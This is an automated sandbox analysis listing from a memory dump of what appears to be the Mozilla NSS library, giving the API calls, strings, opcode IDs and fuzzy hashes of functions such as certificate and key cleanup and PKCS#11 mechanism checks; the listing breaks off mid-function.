Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 19ab8a310894578754a361019311cd93356269d0f364ffdc40aaa170517b4502
Instruction ID: 6aaf0adb9618ff69951f1b6fbd071b881aabd844097cf2d4409cea6ed2d73734
Opcode Fuzzy Hash: 19ab8a310894578754a361019311cd93356269d0f364ffdc40aaa170517b4502
Instruction Fuzzy Hash: 00916BB5900601DFCB00DF16D9D094ABBF1FF8931872985A9D8199BB22E732FC46CB81

Function 6CBE5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CBE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CBE2A28,00000060,00000001), ref: 6CBE2BF0
Part of subcall function 6CBE2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CBE2A28,00000060,00000001), ref: 6CBE2C07
Part of subcall function 6CBE2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CBE2A28,00000060,00000001), ref: 6CBE2C1E
Part of subcall function 6CBE2BE0: free.MOZGLUE(?,00000000,00000000,?,6CBE2A28,00000060,00000001), ref: 6CBE2C4A

free.MOZGLUE(?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5D0F
free.MOZGLUE(?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5D4E
free.MOZGLUE(?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5D62
free.MOZGLUE(?,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5D85
free.MOZGLUE(?,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5D99
free.MOZGLUE(?,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CBE5E3E
free.MOZGLUE(?,?,?,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CBE5E47
free.MOZGLUE(?,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000,?,6CBE80C1), ref: 6CBE5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CBEAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CBE5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBE5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBE5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBE5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CBEAAD4), ref: 6CBE5F4B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: caa03c276751524dd6eb51dc1b4bf58ae159833a33b6528e1bf42204b92bdbb8
Instruction ID: a684b85f0dd0d806aefb055eb488428ee754c722c7f3eebea848480067a59fb0
Opcode Fuzzy Hash: caa03c276751524dd6eb51dc1b4bf58ae159833a33b6528e1bf42204b92bdbb8
Instruction Fuzzy Hash: 7571C2B4A00B419FD700CF64D888A96B3F5FF89348F148528E85E87B11EB32F959CB52

Function 6CB68DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CB68E22
EnterCriticalSection.KERNEL32(?), ref: 6CB68E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CB68E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CB68E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB68E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB68EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CB68EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB68EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CB68F00
free.MOZGLUE(?), ref: 6CB68F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CB68F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CB68F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CB68F5B
PR_Unlock.NSS3(?), ref: 6CB68F72
PR_Unlock.NSS3(?), ref: 6CB68F82

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 73765c0f0615535aa7a76e40802308352688a4bb8f203c21162e46a4ae736bcf
Instruction ID: e7c4a91913b32741cd586b05766dc025852168db5b6664e0964df62c91f4cd91
Opcode Fuzzy Hash: 73765c0f0615535aa7a76e40802308352688a4bb8f203c21162e46a4ae736bcf
Instruction Fuzzy Hash: FA510AB2E002519FDB009F69DC8496EB779EF56358B14452AEC189BF00F732DD4587E2

Function 6CB8CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CB8CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CB8CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CB8CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CB8CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CB8CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CB8CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CB8CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CB8CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CB8CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CB8CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CB8CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CB8CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CB8CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CB8D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CB8D021

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 3f2dc4883f2e0c8b932480c4e53386eaaa31b0e903a2e19261428c80c31f94db
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 7131327175B99137EF0D10A76C31B9E244ACB6530EF44003AF94BE5BC0F685965702AB

Function 6CC60FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CC61000

Part of subcall function 6CC19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB41A48), ref: 6CC19BB3
Part of subcall function 6CC19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB41A48), ref: 6CC19BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC61016

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_Unlock.NSS3(?), ref: 6CC61021

Part of subcall function 6CBFDD70: TlsGetValue.KERNEL32 ref: 6CBFDD8C
Part of subcall function 6CBFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBFDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC61046
PR_Unlock.NSS3(?), ref: 6CC6106B
PR_Lock.NSS3 ref: 6CC61079
PR_Unlock.NSS3 ref: 6CC61096
free.MOZGLUE(?), ref: 6CC610A7
free.MOZGLUE(?), ref: 6CC610B4
PR_DestroyCondVar.NSS3(?), ref: 6CC610BF
PR_DestroyCondVar.NSS3(?), ref: 6CC610CA
PR_DestroyCondVar.NSS3(?), ref: 6CC610D5
PR_DestroyCondVar.NSS3(?), ref: 6CC610E0
PR_DestroyLock.NSS3(?), ref: 6CC610EB
free.MOZGLUE(?), ref: 6CC61105

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 79b4fa9bb9bf343701956a63f6a5bab7a8bce19e2d88f9136d93a3312a2e6b20
Instruction ID: f79b6641e55228e3cdb4e27bf1936d48c541ce8651275872d9c36a53d1566dc7
Opcode Fuzzy Hash: 79b4fa9bb9bf343701956a63f6a5bab7a8bce19e2d88f9136d93a3312a2e6b20
Instruction Fuzzy Hash: 38319CB5904442ABDB019F5AED81A49BB71FF01319B184130E80953F61F732F9B9EBD2

Function 6CB75E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB75ECF
EnterCriticalSection.KERNEL32(?), ref: 6CB75EE3
PR_Unlock.NSS3(?), ref: 6CB75F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CB75FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CB761F4

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: f614446f4b4eb1e13d9cd33d4dd8e570b6d67fa1cb7c22a4510929936e7caaad
Instruction ID: ccbb1932599f5a8089a6b221011fc82f52c355ce7702862aaff134ea053d943d
Opcode Fuzzy Hash: f614446f4b4eb1e13d9cd33d4dd8e570b6d67fa1cb7c22a4510929936e7caaad
Instruction Fuzzy Hash: C5F1F5B4A002558FDB54CF18C884B8ABBF4FF09304F1581AADC589B746E774DA89CFA1

Function 6CADDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CADDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CADDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CADDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CADDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CADDECD

Strings

%s at line %d of [%.10s], xrefs: 6CADDF7C, 6CADDFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CADDF6D, 6CADDFCC, 6CADDFDD
database corruption, xrefs: 6CADDF77, 6CADDFE7

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 7d1ab760dc69e6c8f646c6ebfbb12b9822e861c7565495af66c1cef1549cbaa9
Instruction ID: 5d9cd44e045b7efd8757aca7655f534d3158e035913edb41b4d2df9f30f9df7f
Opcode Fuzzy Hash: 7d1ab760dc69e6c8f646c6ebfbb12b9822e861c7565495af66c1cef1549cbaa9
Instruction Fuzzy Hash: B0A1B871A042019FC710DF29C880A6BB7F5EF85308F1A492DE8858BB51E730F985CFA2

Function 6CB9EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CB9EE0B

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB9EEE1

Part of subcall function 6CB91D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CB91D7E
Part of subcall function 6CB91D50: EnterCriticalSection.KERNEL32(?), ref: 6CB91D8E
Part of subcall function 6CB91D50: PR_Unlock.NSS3(?), ref: 6CB91DD3

TlsGetValue.KERNEL32 ref: 6CB9EE51
EnterCriticalSection.KERNEL32(?), ref: 6CB9EE65
PR_Unlock.NSS3(?), ref: 6CB9EEA2
free.MOZGLUE(?), ref: 6CB9EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CB9EED0
PR_Unlock.NSS3(?), ref: 6CB9EF48
free.MOZGLUE(?), ref: 6CB9EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CB9EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CB9EFA4
free.MOZGLUE(?), ref: 6CB9EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CB9F055
free.MOZGLUE(?), ref: 6CB9F060

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 03ff9268939402bc196085ecf22841a6e57b1045d426395d5d44505f01a5fb58
Instruction ID: 166d75a9644504d26c6adf5fc3c01e4a97a8997a1bd5b06f2a4bf9e0ba47faf2
Opcode Fuzzy Hash: 03ff9268939402bc196085ecf22841a6e57b1045d426395d5d44505f01a5fb58
Instruction Fuzzy Hash: 29814F71A00289ABDF00DFA5DC45BEE7BB9FF09358F144034E919A7711E731E9548BA2

Function 6CB64CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CB64D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CB64D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CB64DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB64E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CB64E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CB64E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CB64E85
DER_Encode_Util.NSS3(?,?,6CCB05A4,00000000), ref: 6CB64EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CB64F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CB64F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB64F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB64F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB64F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB64FC8

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 051b6dec23b6ec01c663c16752302bb09ecf69360bdf9be2c88e8ac8122e4b8b
Instruction ID: fd0a2d542cee328c1aa2854619288a170419309479a867acba8c33c8a903aaa7
Opcode Fuzzy Hash: 051b6dec23b6ec01c663c16752302bb09ecf69360bdf9be2c88e8ac8122e4b8b
Instruction Fuzzy Hash: F081A1719087419FEB01CF66D850B9BB7E8EB84748F148929F95CDBA40E731E905CF92

Function 6CBA5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CBA5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CBA5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CBA5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CBA5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CBA5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBA5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CBA5E18
TlsGetValue.KERNEL32 ref: 6CBA5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CBA5E72
PR_Unlock.NSS3(?), ref: 6CBA5E8B

Part of subcall function 6CB9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CB9F854
Part of subcall function 6CB9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CB9F868
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CB9F882
Part of subcall function 6CB9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CB9F889
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CB9F8A4
Part of subcall function 6CB9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CB9F8AB
Part of subcall function 6CB9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CB9F8C9
Part of subcall function 6CB9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CB9F8D0

Strings

d, xrefs: 6CBA5C36
tokens=[0x%x=<%s>], xrefs: 6CBA5D3D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: b9beca71ef774e7907cbea1fd33994f6a6f1a17f66b103cd1df4e7207a6974ed
Instruction ID: 01e8fed373f69a947ef8e4c65d090b2d6fadb19b627a26cb05cdb7d725ff2e08
Opcode Fuzzy Hash: b9beca71ef774e7907cbea1fd33994f6a6f1a17f66b103cd1df4e7207a6974ed
Instruction Fuzzy Hash: 0671F9B0E08585ABDB009FA4DC4576E7275EF4531DF140035E84996B42FB32EA1EC696

Function 6CB98F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CB99582), ref: 6CB98F5B

Part of subcall function 6CBABE30: SECOID_FindOID_Util.NSS3(6CB6311B,00000000,?,6CB6311B,?), ref: 6CBABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CB98F6A

Part of subcall function 6CBB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB587ED,00000800,6CB4EF74,00000000), ref: 6CBB1000
Part of subcall function 6CBB0FF0: PR_NewLock.NSS3(?,00000800,6CB4EF74,00000000), ref: 6CBB1016
Part of subcall function 6CBB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB587ED,00000008,?,00000800,6CB4EF74,00000000), ref: 6CBB102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB98FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CB98FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CC7D820,6CB99576), ref: 6CB98FF9
DER_GetInteger_Util.NSS3(?), ref: 6CB9901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CB9903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB99062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CB990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CB990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CB990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CB9912D
free.MOZGLUE(00000000), ref: 6CB99136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB99145

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: a071bfac39885ce3cc4341f2e9a411ef85cbb7fb81be3ca82ecb154288e514dd
Instruction ID: c7bd92497eb6abc0cfa04194c4634c6378027c0d9e244782a11015ef4d0a139a
Opcode Fuzzy Hash: a071bfac39885ce3cc4341f2e9a411ef85cbb7fb81be3ca82ecb154288e514dd
Instruction Fuzzy Hash: D451C1B2A042809FEB00CF29DC81B9AB7F9EF85318F054939E85997741E731E945CB93

Function 6CB4AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CB4AF47

Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190AB
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC190C9
Part of subcall function 6CC19090: EnterCriticalSection.KERNEL32 ref: 6CC190E5
Part of subcall function 6CC19090: TlsGetValue.KERNEL32 ref: 6CC19116
